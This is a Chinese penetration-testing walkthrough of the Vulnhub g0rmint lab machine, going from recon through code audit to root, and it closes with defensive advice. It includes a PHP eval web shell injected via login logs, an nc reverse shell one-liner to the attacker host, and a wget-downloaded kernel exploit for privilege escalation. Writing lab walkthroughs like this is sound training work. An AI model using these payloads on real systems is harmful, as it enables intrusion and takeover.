Vulnhub-g0rmint
字数 1686 2025-08-27 12:33:31
Vulnhub靶机g0rmint渗透测试教学文档
靶机信息
- 靶机名称: g0rmint
- 难度等级: 中等
- 下载链接: https://www.vulnhub.com/entry/g0rmint-1,214/
- 测试环境: VMware虚拟机
- 攻击机: Kali Linux (IP: 192.168.85.134)
- 靶机IP: 192.168.85.139
渗透测试流程
1. 主机发现与信息收集
步骤1: 使用arp-scan发现靶机IP
arp-scan -l
步骤2: 使用nmap进行端口扫描
nmap -sS -T4 -A -v -p1-50000 192.168.85.139
扫描结果显示开放了两个端口:
- 80端口: HTTP服务
- 其他端口: 根据实际情况
2. Web应用信息收集
步骤1: 检查robots.txt文件
访问http://192.168.85.139/robots.txt发现/g0rmint/目录
步骤2: 访问/g0rmint/目录
发现一个登录页面,尝试弱口令无果
步骤3: 查看HTML源代码
在源代码中发现可疑路径,但访问返回404
步骤4: 使用dirb进行目录爆破
dirb http://192.168.85.139/g0rmint/
发现s3cretbackupdirect0ry目录,其中包含backup.zip文件
3. 代码审计
文件结构分析
下载并解压backup.zip后,发现以下关键文件:
- login.php
- config.php
- db.sql
- reset.php
- 其他相关文件
关键代码分析
- login.php中的登录逻辑
$email = $_POST['email'];
$pass = md5($_POST['pass']);
$sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND pass = :pass");
// ...
if(count($result) > 1) {
// 登录成功逻辑
} else {
$log = $email;
$reason = "Failed login attempt detected with email: ";
addlog($log, $reason);
}
- addlog函数分析
function addlog($log, $reason) {
$myFile = "s3cr3t-dir3ct0ry-f0r-l0gs/" . date("Y-m-d") . ".php";
if(file_exists($myFile)) {
// 追加日志
} else {
// 创建新日志文件并写入dummy.php内容
fwrite($fh, file_get_contents("dummy.php") . "<br>\n");
// 追加日志
}
fclose($fh);
}
- db.sql中的初始数据
INSERT INTO `g0rmint` (`id`, `username`, `email`, `pass`)
VALUES (1, 'demo', 'demo@example.com', 'fe01ce2a7fbac8fafaed7c982a04e229');
MD5哈希fe01ce2a7fbac8fafaed7c982a04e229对应密码为demo
- reset.php中的密码重置逻辑
$password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20);
$password = md5($password);
$sql = $pdo->prepare("UPDATE g0rmint SET pass = :pass where id = 1");
4. 漏洞利用
步骤1: 寻找有效用户凭证
在CSS文件中发现隐藏的用户名和邮箱:
- 用户名:
admin - 邮箱:
admin@g0rmint.com
步骤2: 利用密码重置功能
- 使用找到的用户名和邮箱提交重置请求
- 页面会显示重置时间(如:
Saturday 15th of September 2018 02:05:51 AM) - 计算新密码:
echo substr(hash('sha1', 'Saturday 15th of September 2018 02:05:51 AM'), 0, 20);
// 输出: 9997d372a7af4f7a680b
- 计算MD5哈希:
echo md5('9997d372a7af4f7a680b');
步骤3: 登录系统
使用admin@g0rmint.com和计算出的MD5哈希值登录
5. 获取Webshell
步骤1: 利用日志记录功能注入PHP代码
- 在登录页面的邮箱字段输入:
<?php eval($_POST[_]); ?>
- 失败登录后会生成日志文件
/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/[日期].php
步骤2: 访问日志文件并执行命令
- 访问生成的日志文件
- 通过POST参数执行命令
步骤3: 建立反向Shell
- 在Kali上监听:
nc -lvnp 8888
- 通过Webshell执行:
mkfifo /tmp/t; cat /tmp/t | /bin/sh -i 2>&1 | nc 192.168.85.134 8888 > /tmp/t
(注意URL编码)
6. 权限提升
步骤1: 系统信息收集
uname -a
发现系统为Ubuntu 16.04
步骤2: 查找本地提权漏洞
使用Linux内核漏洞CVE-2017-16995 (对应exploit编号44298)
步骤3: 编译并上传exploit
- 在攻击机编译:
gcc 44298.c -o exploit -static
- 在靶机下载:
wget http://192.168.85.134/exploit -O /tmp/exploit
- 赋予执行权限并运行:
chmod +x /tmp/exploit
/tmp/exploit
步骤4: 获取root权限
成功执行exploit后获得root shell
总结与防御建议
漏洞总结
-
敏感信息泄露
- robots.txt暴露敏感目录
- 源代码中硬编码凭证
- CSS文件中隐藏用户信息
-
不安全的密码重置机制
- 基于时间的可预测密码生成
- 缺乏适当的验证机制
-
日志注入漏洞
- 将用户输入直接写入PHP文件
- 缺乏输入过滤和输出编码
-
系统漏洞
- 未打补丁的内核漏洞
防御建议
-
保护敏感信息
- 避免在客户端代码中存储敏感信息
- 严格控制robots.txt内容
-
加强认证机制
- 实现安全的密码重置流程
- 使用强随机数生成临时密码
-
安全编码实践
- 对所有用户输入进行严格过滤
- 避免将用户输入直接写入可执行文件
-
系统维护
- 定期更新系统和应用补丁
- 实施最小权限原则
-
日志安全
- 将日志存储在非web可访问目录
- 对日志内容进行适当的编码处理
通过本案例,我们学习了从信息收集到权限提升的完整渗透测试流程,强调了安全编码和系统维护的重要性。